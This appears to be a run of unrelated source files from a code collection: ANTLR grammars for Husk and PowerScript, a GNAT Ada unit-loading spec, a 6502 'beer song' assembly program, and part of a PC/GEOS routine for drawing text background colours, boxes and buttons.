* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
grammar Husk;
// Must duplicate license here for now.
@header {
/*
* This file is part of husk, licensed under the MIT License (MIT).
*
* Copyright (c) TechShroom <https://techshroom.com>
* Copyright (c) contributors
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.techshroom.husk.antlr;
}
test: ' ' ; |
grammars/powerscript_04.g4 | darioaxel/PowerScriptGrammar | 1 | 3133 | <filename>grammars/powerscript_04.g4
/**
* Original Author: <NAME>
* E-Mail: <EMAIL>
*/
grammar powerscript_04;
@header {
package org.darioaxel.grammar.powerscript;
}
compilationUnit
: memberDeclaration* EOF
;
memberDeclaration
: forwardDeclaration
| typeDeclaration
| localVariableDeclarationBlock
| globalVariableDeclarationBlock
| variableDeclaration
| constantDeclaration
| functionDeclaration
| functionDeclarationBlock
| functionImplementation
| onImplementation
| eventDeclaration
| eventImplementation
;
// 1. Forward Declaration
forwardDeclaration
: forwardDeclarationBegin forwardDeclarationBody* forwardDeclarationEnd
;
forwardDeclarationBegin
: 'forward' delimiter
;
forwardDeclarationEnd
: 'end' 'forward' delimiter
;
forwardDeclarationBody
: variableDeclaration
| typeDeclaration
;
// 2. Type Declaration
typeDeclaration
: typeDeclarationBegin typeDeclarationBody*? typeDeclarationEnd
;
typeDeclarationBegin
: scopeModificator? typeDeclarationBeginIdentifier typeDeclarationParent delimiter
;
typeDeclarationBeginIdentifier
: 'type' Identifier 'from'
;
typeDeclarationParent
: typeDeclarationParentExpecification? Identifier
;
typeDeclarationParentExpecification
: typeDeclarationParentExpecificationId 'within'
;
typeDeclarationParentExpecificationId
: Identifier '`' Identifier
| Identifier
;
typeDeclarationBody
: typeDeclarationDescriptor
| variableDeclaration
| eventDeclaration
;
typeDeclarationDescriptor
: 'descriptor' quotedIdentifier '=' quotedIdentifier delimiter
;
quotedIdentifier
: QUOTE Identifier QUOTE
;
typeDeclarationEnd
: 'end' 'type' delimiter
;
// 3. Local Variable Declaration Block
localVariableDeclarationBlock
: localVariableDeclarationBegin localVariableDeclarationBody* localVariableDeclarationEnd
;
localVariableDeclarationBody
: variableDeclaration
| constantDeclaration
;
localVariableDeclarationBegin
: 'type' 'variables' delimiter
;
localVariableDeclarationEnd
: 'end' 'variables' delimiter
;
// 4. Global Variable Declaration Block
globalVariableDeclarationBlock
: globalVariableDeclarationBlockBegin globalVariableDeclarationBlockBody* globalVariableDeclarationBlockEnd
;
globalVariableDeclarationBlockBegin
: scopeModificator 'variables' delimiter
;
globalVariableDeclarationBlockBody
: variableDeclaration
| constantDeclaration
;
globalVariableDeclarationBlockEnd
: 'end' 'variables' delimiter
;
// 5. Variable Declaration
variableDeclaration
: scopeModificator? extendedAccessType? type variableDeclarators delimiter
;
variableDeclarators
: variableDeclarator (',' variableDeclarator)*
;
variableDeclarator
: Identifier arrayLengthDeclarator? ('=' variableInitializer)?
;
variableInitializer
: expression
;
// 6. Constants Declaration
constantDeclaration
: 'constant' type constantDeclarator (',' constantDeclarator)* delimiter
;
constantDeclarator
: Identifier arrayLengthDeclarator* '=' variableInitializer
;
// 7. Function Declaration
functionDeclaration
: functionDeclarationHeader parametersList functionDeclarationEnd delimiter
;
functionDeclarationHeader
: accessType? scopeModificator? functionHeaderIdentification
;
functionDeclarationEnd
: functionDeclarationEndLibrary? functionDeclarationEndRPC? functionDeclarationEndThrows?
;
functionDeclarationEndLibrary
: 'library' Identifier ('alias' 'for' Identifier)?
;
functionDeclarationEndRPC
: 'rpcfunc' 'alias' 'for' Identifier
;
// 8. Function Declaration Block
functionDeclarationBlock
: functionDeclarationBlockHeader functionDeclaration* functionDeclarationBlockEnd
;
functionDeclarationBlockHeader
: functionBlockType 'prototypes' delimiter
;
functionDeclarationBlockBody
: functionDeclaration
;
functionDeclarationBlockEnd
: 'end' 'prototypes' delimiter
;
// 9. Function Implementation
functionImplementation
: functionImplementationHeader functionImplementationBody* functionImplementationEnd delimiter
;
functionImplementationHeader
: primaryAccessType scopeModificator? functionHeaderIdentification parametersList functionDeclarationEndThrows? ';' delimiter
;
functionHeaderIdentification
: functionHeaderDefinition Identifier
;
functionHeaderDefinition
: 'function' dataTypeName
| 'subroutine'
;
functionDeclarationEndThrows
: 'throws' Identifier
;
functionImplementationBody
: statementBlock
;
functionImplementationEnd
: 'end' 'function'
| 'end' 'subroutine'
;
functionBlockType
: 'forward'
| 'type'
;
// 10. On Implementation
onImplementation
: onImplementationHead onImplementationBody onImplementationEnd
;
onImplementationHead
: 'On' onImplementationIdentifier delimiter
;
onImplementationIdentifier
: Identifier
| 'open'
| 'close'
;
onImplementationBody
: statement*?
;
onImplementationEnd
: 'end' 'on' delimiter
;
// 11. Event Declaration
eventDeclaration
: 'event' eventTypeDeclaration Identifier? parametersList delimiter
;
eventTypeDeclaration
: 'type'
| creatorType
;
creatorType
: 'create'
| 'destroy'
;
// 12. Event Implementation
eventImplementation
: eventImplementationHead eventImplementationBody eventImplementationEnd
;
eventImplementationHead
: 'event' eventImplementationHeadType? eventImplementationHeadId? eventImplementationClosure parametersList?
;
eventImplementationHeadType
: 'type' dataTypeName
;
eventImplementationHeadId
: Identifier '::'
;
eventImplementationClosure
: Identifier
| 'open'
| 'close'
;
eventImplementationBody
: statement*?
;
eventImplementationEnd
: 'end' 'event' delimiter
;
parametersList
: '(' parametersDeclarators? ')'
;
parametersDeclarators
: parameterDeclarator (',' parameterDeclarator)*?
;
parameterDeclarator
: 'readonly'? 'ref'? primitiveType Identifier arrayType?
;
arrayType
: '[' ']'
;
scopeModificator
: 'global'
| 'local'
| 'shared'
;
statementBlock
: variableDeclaration
| statement
;
statement
: expression delimiter
;
qualifiedName
: Identifier ('.' Identifier)*
;
expression
: primary
| expression '.' Identifier
| expression '=' 'CREATE' 'USING'? Identifier
| expression '[' expression ']'
| expression '(' expressionList? ')'
| '(' type ')' expression
| expression ('+=' | '-=')
| ('+'|'-'|'++'|'--') expression
| ('~'|'!') expression
| expression ('*'|'/'|'%') expression
| expression ('+'|'-') expression
| expression ('<' '<' | '>' '>' '>' | '>' '>') expression
| expression ('<=' | '>=' | '>' | '<') expression
| expression ('==' | '!=') expression
| expression '&' expression
| expression '^' expression
| expression '|' expression
| expression 'AND' expression
| expression 'OR' expression
| expression '?' expression ':' expression
| <assoc=right> expression
( '='
| '+='
| '-='
| '*='
| '/='
| '&='
| '|='
| '^='
| '>>='
| '>>>='
| '<<='
| '%='
)
expression
;
expressionList
: expression (',' expression)*
;
primary
: '(' expression ')'
| literal
| Identifier
;
literal
: IntegerLiteral
| BooleanLiteral
| StringLiteral
| CharacterLiteral
| DateTimeLiteral
| 'null'
;
modifier
: 'PUBLIC' ':'
| 'PRIVATE' ':'
| 'PROTECTED' ':'
;
accessType
: primaryAccessType
| extendedAccessType
;
primaryAccessType
: 'PUBLIC'
| 'public'
| 'PRIVATE'
| 'private'
| 'PROTECTED'
| 'protected'
;
extendedAccessType
: 'PROTECTEDREAD'
| 'protectedread'
| 'PRIVATEREAD'
| 'privateread'
| 'PROTECTEDWRITE'
| 'protectedwrite'
| 'PRIVATEWRITE'
| 'privatewrite'
;
dataTypeName
: 'ANY'
| 'BLOB'
| 'boolean'
| 'byte'
| 'character'
| 'char'
| 'date'
| 'datetime'
| 'decimal'
| 'dec'
| 'double'
| 'integer'
| 'int'
| 'long'
| 'longlong'
| 'real'
| 'string'
| 'TIME'
| 'UNSIGNEDINTEGER'
| 'UINT'
| 'UNSIGNEDLONG'
| 'ULONG'
| 'WINDOW'
;
type
: primitiveType
| objectType
;
objectType
: Identifier ( '.' Identifier )*
;
arrayLengthDeclarator
: '[' arrayLengthValue* ']'
;
arrayLengthValue
: arrayLengthRange (',' arrayLengthRange)*
;
arrayLengthRange
: IntegerLiteral ('TO' IntegerLiteral)*
;
primitiveType
: 'boolean'
| 'char'
| 'byte'
| 'short'
| 'integer'
| 'long'
| 'float'
| 'double'
| 'real'
| 'string'
| 'date'
;
// Integer Literals
IntegerLiteral
: DecimalIntegerLiteral
;
fragment
DecimalIntegerLiteral
: DecimalNumeral IntegerTypeSuffix?
;
fragment
IntegerTypeSuffix
: [lL]
;
// Boolean Literals
BooleanLiteral
: 'true'
| 'false'
;
// Character Literals
CharacterLiteral
: '\'' SingleCharacter '\''
| '\'' EscapeSequence '\''
;
fragment
SingleCharacter
: ~['\\]
;
// String Literals
StringLiteral
: '"' StringCharacters? '"'
;
fragment
StringCharacters
: StringCharacter+
;
fragment
StringCharacter
: ~["\\]
| EscapeSequence
;
fragment
EscapeSequence
: '\\' [btnfr"'\\]
| OctalEscape
| UnicodeEscape
;
fragment
DecimalNumeral
: '0'
| NonZeroDigit (Digits? | Underscores Digits)
;
fragment
Digits
: Digit (DigitOrUnderscore* Digit)?
;
fragment
Digit
: '0'
| NonZeroDigit
;
fragment
NonZeroDigit
: [1-9]
;
fragment
OctalEscape
: '\\' OctalDigit
| '\\' OctalDigit OctalDigit
| '\\' ZeroToThree OctalDigit OctalDigit
;
fragment
UnicodeEscape
: '\\' 'u' HexDigit HexDigit HexDigit HexDigit
;
fragment
HexDigits
: HexDigit (HexDigitOrUnderscore* HexDigit)?
;
fragment
HexDigitOrUnderscore
: HexDigit
| '_'
;
fragment
HexDigit
: [0-9a-fA-F]
;
fragment
OctalDigits
: OctalDigit (OctalDigitOrUnderscore* OctalDigit)?
;
fragment
OctalDigit
: [0-7]
;
fragment
OctalDigitOrUnderscore
: OctalDigit
| '_'
;
fragment
DigitOrUnderscore
: Digit
| '_'
;
fragment
Underscores
: '_'+
;
// DateTimeLiteral
DateTimeLiteral
: DateTimeYear '-' DateTimeMonth '-' DateTimeDay
;
fragment
DateTimeYear
: ZeroToTwo Digit Digit Digit
;
fragment
DateTimeMonth
: ZeroToOne Digit
;
fragment
DateTimeDay
: ZeroToThree Digit
;
fragment
ZeroToThree
: [0-3]
;
fragment
ZeroToTwo
: [0-2]
;
fragment
ZeroToOne
: [0-1]
;
// SEPARATORS
LPAREN : '(';
RPAREN : ')';
LBRACE : '{';
RBRACE : '}';
LBRACK : '[';
RBRACK : ']';
SEMI : ';';
COMMA : ',';
DOT : '.';
QUOTE : '"';
// §3.12 OPERATORS
ASSIGN : '=';
GT : '>';
LT : '<';
BANG : '!';
TILDE : '~';
QUESTION : '?';
COLON : ':';
EQUAL : '==';
LE : '<=';
GE : '>=';
NOTEQUAL : '!=';
AND : 'AND';
OR : 'OR';
INC : '++';
DEC : '--';
ADD : '+';
SUB : '-';
MUL : '*';
DIV : '/';
BITAND : '&';
BITOR : '|';
CARET : '^';
MOD : '%';
ADD_ASSIGN : '+=';
SUB_ASSIGN : '-=';
MUL_ASSIGN : '*=';
DIV_ASSIGN : '/=';
AND_ASSIGN : '&=';
OR_ASSIGN : '|=';
XOR_ASSIGN : '^=';
MOD_ASSIGN : '%=';
LSHIFT_ASSIGN : '<<=';
RSHIFT_ASSIGN : '>>=';
URSHIFT_ASSIGN : '>>>=';
// § INDENTIFIERS (must appear after all keywords in the grammar)
Identifier
: PBLetter PBLetterOrDigit*
;
fragment
PBLetter
: [a-zA-Z$-_%]
;
fragment
PBLetterOrDigit
: [a-zA-Z0-9$-_%]
;
delimiter
: '\n'+?
;
// § COMMENTS & WHITESPACES
COMMENT
: '/*' .*? '*/' -> skip
;
LINE_COMMENT
: '//' ~[\r\n]* -> skip
;
WS: [ \t\r]+ -> skip;
|
gcc-gcc-7_3_0-release/gcc/ada/lib-load.ads | best08618/asylo | 7 | 23927 | ------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- L I B . L O A D --
-- --
-- S p e c --
-- --
-- Copyright (C) 1992-2014, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING3. If not, go to --
-- http://www.gnu.org/licenses for a complete copy of the license. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
-- This child package contains the function used to load a separately
-- compiled unit, as well as the routine used to initialize the unit
-- table and load the main source file.
package Lib.Load is
-------------------------------
-- Handling of Renamed Units --
-------------------------------
-- A compilation unit can be a renaming of another compilation unit.
-- Such renamed units are not allowed as parent units, that is you
-- cannot declare a unit:
-- with x;
-- package x.y is end;
-- where x is a renaming of some other package. However you can refer
-- to a renamed unit in a with clause:
-- package p is end;
-- package p.q is end;
-- with p;
-- package pr renames p;
-- with pr.q ....
-- This means that in the context of a with clause, the normal fixed
-- correspondence between unit and file names is broken. In the above
-- example, there is no file named pr-q.ads, since the actual child
-- unit is p.q, and it will be found in file p-q.ads.
-- In order to deal with this case, we have to first load pr.ads, and
-- then discover that it is a renaming of p, so that we know that pr.q
-- really refers to p.q. Furthermore this can happen at any level:
-- with p.q;
-- package p.r renames p.q;
-- with p.q;
-- package p.q.s is end;
-- with p.r.s ...
-- Now we have a case where the parent p.r is a child unit and is
-- a renaming. This shows that renaming can occur at any level.
-- Finally, consider:
-- with pr.q.s ...
-- Here the parent pr.q is not itself a renaming, but it really refers
-- to the unit p.q, and again we cannot know this without loading the
-- parent. The bottom line here is that while the file name of a unit
-- always corresponds to the unit name, the unit name as given to the
-- Load_Unit function may not be the real unit.
-----------------
-- Subprograms --
-----------------
procedure Initialize;
-- Initialize internal tables
procedure Initialize_Version (U : Unit_Number_Type);
-- This is called once the source file corresponding to unit U has been
-- fully scanned. At that point the checksum is computed, and can be used
-- to initialize the version number.
procedure Load_Main_Source;
-- Called at the start of compiling a new main source unit to initialize
-- the library processing for the new main source. Establishes and
-- initializes the units table entry for the new main unit (leaving
-- the Unit_File_Name entry of Main_Unit set to No_File if there are no
-- more files. Otherwise the main source file has been opened and read
-- and then closed on return.
function Load_Unit
(Load_Name : Unit_Name_Type;
Required : Boolean;
Error_Node : Node_Id;
Subunit : Boolean;
Corr_Body : Unit_Number_Type := No_Unit;
Renamings : Boolean := False;
With_Node : Node_Id := Empty;
PMES : Boolean := False) return Unit_Number_Type;
-- This function loads and parses the unit specified by Load_Name (or
-- returns the unit number for the previously constructed units table
-- entry if this is not the first call for this unit). Required indicates
-- the behavior on a file not found condition, as further described below,
-- and Error_Node is the node in the calling program to which error
-- messages are to be attached.
--
-- If the corresponding file is found, the value returned by Load is the
-- unit number that indexes the corresponding entry in the units table. If
-- a serious enough parser error occurs to prevent subsequent semantic
-- analysis, then the Fatal_Error flag of the returned entry is set and
-- in addition, the fatal error flag of the calling unit is also set.
--
-- If the corresponding file is not found, then the behavior depends on
-- the setting of Required. If Required is False, then No_Unit is returned
-- and no error messages are issued. If Required is True, then an error
-- message is posted, and No_Unit is returned.
--
-- A special case arises in the call from Rtsfind, where Error_Node is set
-- to Empty. In this case Required is False, and the caller in any case
-- treats any error as fatal.
--
-- The Subunit parameter is True to load a subunit, and False to load
-- any other kind of unit (including all specs, package bodies, and
-- subprogram bodies).
--
-- The Corr_Body argument is normally defaulted. It is set only in the
-- case of loading the corresponding spec when the main unit is a body.
-- In this case, Corr_Body is the unit number of this corresponding
-- body. This is used to set the Serial_Ref_Unit field of the unit
-- table entry. It is also used to deal with the special processing
-- required by RM 10.1.4(4). See description in lib.ads.
--
-- Renamings activates the handling of renamed units as separately
-- described in the documentation of this unit. If this parameter is
-- set to True, then Load_Name may not be the real unit name and it
-- is necessary to load parents to find the real name.
--
-- With_Node is set to the with_clause or limited_with_clause causing
-- the unit to be loaded, and is used to bypass the circular dependency
-- check in the case of a limited_with_clause (Ada 2005, AI-50217).
--
-- PMES indicates the required setting of Parsing_Main_Extended_Unit during
-- loading of the unit. This flag is saved and restored over the call.
-- Note: PMES is false for the subunit case, which seems wrong???
procedure Change_Main_Unit_To_Spec;
-- This procedure is called if the main unit file contains a No_Body pragma
-- and no other tokens. The effect is, if possible, to change the main unit
-- from the body it references now, to the corresponding spec. This has the
-- effect of ignoring the body, which is what we want. If it is impossible
-- to successfully make the change, then the call has no effect, and the
-- file is unchanged (this will lead to an error complaining about the
-- inappropriate No_Body spec).
function Create_Dummy_Package_Unit
(With_Node : Node_Id;
Spec_Name : Unit_Name_Type) return Unit_Number_Type;
-- With_Node is the Node_Id of a with statement for which the file could
-- not be found, and Spec_Name is the corresponding unit name. This call
-- creates a dummy package unit so that compilation can continue without
-- blowing up when the missing unit is referenced.
procedure Make_Child_Decl_Unit (N : Node_Id);
-- For a child subprogram body without a spec, we create a subprogram
-- declaration in order to attach the required parent link. We create
-- a Units_Table entry for this declaration, in order to maintain a
-- one-to-one correspondence between compilation units and table entries.
procedure Make_Instance_Unit (N : Node_Id; In_Main : Boolean);
-- When a compilation unit is an instantiation, it contains both the
-- declaration and the body of the instance, each of which can have its
-- own elaboration routine. The file itself corresponds to the declaration.
-- We create an additional entry for the body, so that the binder can
-- generate the proper elaboration calls to both. The argument N is the
-- compilation unit node created for the body.
--
-- If the instance is not the main program, we still generate the instance
-- body even though we do not generate code for it. In that case we still
-- generate a compilation unit node for it, and we need to make an entry
-- for it in the units table, so as to maintain a one-to-one mapping
-- between table and nodes. The table entry is used among other things to
-- provide a canonical traversal order for context units for CodePeer.
-- The flag In_Main indicates whether the instance is the main unit.
procedure Version_Update (U : Node_Id; From : Node_Id);
-- This routine is called when unit U is found to be semantically
-- dependent on unit From. It updates the version of U to register
-- dependence on the version of From. The arguments are compilation
-- unit nodes for the relevant library nodes.
end Lib.Load;
|
src/test/resources/asm/beer.asm | yottatsa/basicv2 | 71 | 29794 | *=$c000
SYSOUT=$FFD2
MAX=99
LDX #MAX
LOOP JSR BOTTLEOUT
JSR PUTS
LDY #<COM
JSR PUTS
JSR BOTTLEOUT
TYA
CLC
ADC #13
TAY
JSR PUTS
DEX
BPL CONTI
LDY #<STORE
JSR PUTS
LDX #MAX
JSR WALLCR
RTS
CONTI LDY #<TAKE
JSR PUTS
JSR WALLCR
JMP LOOP
WALLCR JSR BOTTLEOUT
JSR PUTS
JSR PUTS
DEY
DEY
JSR PUTS
RTS
BOTTLEOUT TXA
BNE STILLBEER
LDY #<NOMORE
JSR PUTS
JMP POSTFIX
STILLBEER PHA
LDX #-1
SEC
DIV10 INX
SBC #10
BCS DIV10
PHA
TXA
BEQ SINGLE
CLC
ADC #48
JSR OUT
SINGLE PLA
CLC
ADC #58
JSR OUT
PLA
TAX
POSTFIX LDY #<BOTTLE
JSR PUTS
CPX #1
BNE MULTI
INY
MULTI JSR PUTS
RTS
PUTS INY
LDA $c1ff,Y
BEQ DONE
JSR OUT
JMP PUTS
DONE RTS
OUT PHP
JSR SYSOUT
PLP
RTS
*=$c200
TAKE .text "take one down and pass it around, "
.byte $0
STORE .text "go to the store and buy some more"
COM .text ", "
.byte $0
NOMORE .text "no more"
.byte $0
BOTTLE .text " bottle"
.byte $0
.text "s of beer"
.byte $0
.text " on the wall"
.byte $0
DOTCR .text "."
CR .byte 13 0
|
Library/Text/TextLine/tlCommonDrawExtendedStyles.asm | steakknife/pcgeos | 504 | 88112 | <gh_stars>100-1000
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: tlCommonDrawExtendedStyles.asm
AUTHOR: <NAME>, Jul 10, 1992
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
John 7/10/92 Initial revision
DESCRIPTION:
Handle drawing of extended styles.
$Id: tlCommonDrawExtendedStyles.asm,v 1.1 97/04/07 11:21:06 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TextBorder segment resource
COMMENT @----------------------------------------------------------------------
FUNCTION: DrawAllExtendedStyles
DESCRIPTION: Draw all extended styles
CALLED BY: INTERNAL
PASS:
*ds:si = Instance
ss:bp = LICL_vars with these set:
LICL_line
LICL_lineStart
LICL_theParaAttr
LICL_paraAttrStart
LICL_paraAttrEnd
RETURN:
none
DESTROYED:
none
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 9/ 2/92 Initial version
------------------------------------------------------------------------------@
DrawAllExtendedStyles proc far uses ax, dx
.enter
call DrawTextBackgroundColor
call DrawBoxedText
call DrawButtonText
.leave
ret
DrawAllExtendedStyles endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DrawTextBackgroundColor
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Draw the background color behind the text on a line.
CALLED BY: CommonLineClearArea
PASS: *ds:si = Instance
ss:bp = LICL_vars with these set:
LICL_line
LICL_lineStart
LICL_theParaAttr
LICL_paraAttrStart
LICL_paraAttrEnd
RETURN: nothing
DESTROYED: ax, dx
PSEUDO CODE/STRATEGY:
Use a nice enumerating routine in the style code (as yet unwritten)
to callback for each style run that I'm interested in.
The callback will draw the background color for each text-run.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 7/10/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DrawTextBackgroundColor proc near
.enter
mov ax, mask VTES_BACKGROUND_COLOR
mov dx, offset DrawTextBackgroundColorCallback
call CallExtendedStyleEnum
.leave
ret
DrawTextBackgroundColor endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CallExtendedStyleEnum
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set up for a call to ExtendedStyleEnum
CALLED BY: DrawTextBackgroundColor, DrawBoxedText,
DrawButtonText
PASS: *ds:si = Instance
ax = VisTextExtendedStyle bit
dx = Callback routine
ss:bp = LICL_vars with these set:
LICL_line
LICL_lineStart
LICL_theParaAttr
LICL_paraAttrStart
LICL_paraAttrEnd
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 7/10/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CallExtendedStyleEnum proc near uses bx, di
.enter
push ax ; Pass style bit
push dx ; Pass callback
;
; Figure the range we're interested in
;
movdw bxdi, ss:[bp].LICL_line ; bx.di <- line
call TL_LineGetCharCount ; dx.ax <- number of chars
movdw bxdi, ss:[bp].LICL_lineStart
adddw dxax, bxdi ; dxax = range end
pushdw dxax ; Pass the range end
pushdw bxdi
call TA_ExtendedStyleEnum ; Enumerate the entries
; Fixes up the stack
.leave
ret
CallExtendedStyleEnum endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DrawBoxedText
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Draw the boxes around text on a line.
CALLED BY: CommonLineClearArea
PASS: *ds:si = Instance
ss:bx = Pointer to a VisTextRange containing the
range to place the box around.
ss:bp = LICL_vars with these set:
LICL_line
LICL_lineStart
LICL_theParaAttr
LICL_paraAttrStart
LICL_paraAttrEnd
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
Use a nice enumerating routine in the style code (as yet unwritten)
to callback for each style run that I'm interested in.
The callback will draw the boxes for each text-run.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 7/10/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DrawBoxedText proc near
.enter
mov ax, mask VTES_BOXED
mov dx, offset DrawBoxedTextCallback
call CallExtendedStyleEnum
.leave
ret
DrawBoxedText endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DrawButtonText
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Draw the buttons around text on a line.
CALLED BY: CommonLineClearArea
PASS: *ds:si = Instance
ss:bx = Pointer to a VisTextRange containing the
range to place the button around.
ss:bp = LICL_vars with these set:
LICL_line
LICL_lineStart
LICL_theParaAttr
LICL_paraAttrStart
LICL_paraAttrEnd
RETURN: nothing
DESTROYED: ax, dx
PSEUDO CODE/STRATEGY:
Use a nice enumerating routine in the style code (as yet unwritten)
to callback for each style run that I'm interested in.
The callback will draw the buttons for each text-run.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 7/10/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DrawButtonText proc near
.enter
mov ax, mask VTES_BUTTON
mov dx, offset DrawButtonTextCallback
call CallExtendedStyleEnum
.leave
ret
DrawButtonText endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DrawTextBackgroundColorCallback
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Draw the background color for a hunk of text.
CALLED BY: ExtendedStyleEnum
PASS: *ds:si = Instance
ss:bx = Pointer to a VisTextRange
ss:cx = VisTextChrAttr
di = gstate
ss:bp = LICL_vars w/ these set:
LICL_line
LICL_lineStart
LICL_theParaAttr
LICL_paraAttrStart
LICL_paraAttrEnd
RETURN: nothing
DESTROYED: ax, bx, cx, dx, di, bp
PSEUDO CODE/STRATEGY:
Find left/right edge of range to color
Set color
Draw rectangle
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 7/10/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DrawTextBackgroundColorCallback proc near
class VisTextClass
.enter
;
; Area mask (gray-screen)
;
push bx
mov bx, cx
mov al, ss:[bx].VTCA_bgGrayScreen ; al <- SystemDrawMask
call GrSetAreaMask ; Set the gray-screen
;
; Pattern
;
mov al, ss:[bx].VTCA_bgPattern.GP_type ; al <- PatternType
mov ah, ss:[bx].VTCA_bgPattern.GP_data ; ah <- Data
call GrSetAreaPattern ; Set the pattern
;
; Area color
;
mov ax, {word} ss:[bx].VTCA_bgPattern
call GrSetAreaPattern
; al...bh <- color + flags
mov ax, {word} ss:[bx].VTCA_bgColor.CQ_redOrIndex
mov bx, {word} ss:[bx].VTCA_bgColor.CQ_green
call GrSetAreaColor ; Set the color
pop bx ; Restore frame ptr
;
; Now get the coordinates and draw the background.
;
call GetRangeCoordinates ; ax...dx <- coords of range
cmp ax, cx
jz afterDraw
call GrFillRect ; Fill the background
afterDraw:
clr ax
call GrSetAreaPattern
.leave
ret
DrawTextBackgroundColorCallback endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetRangeCoordinates
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
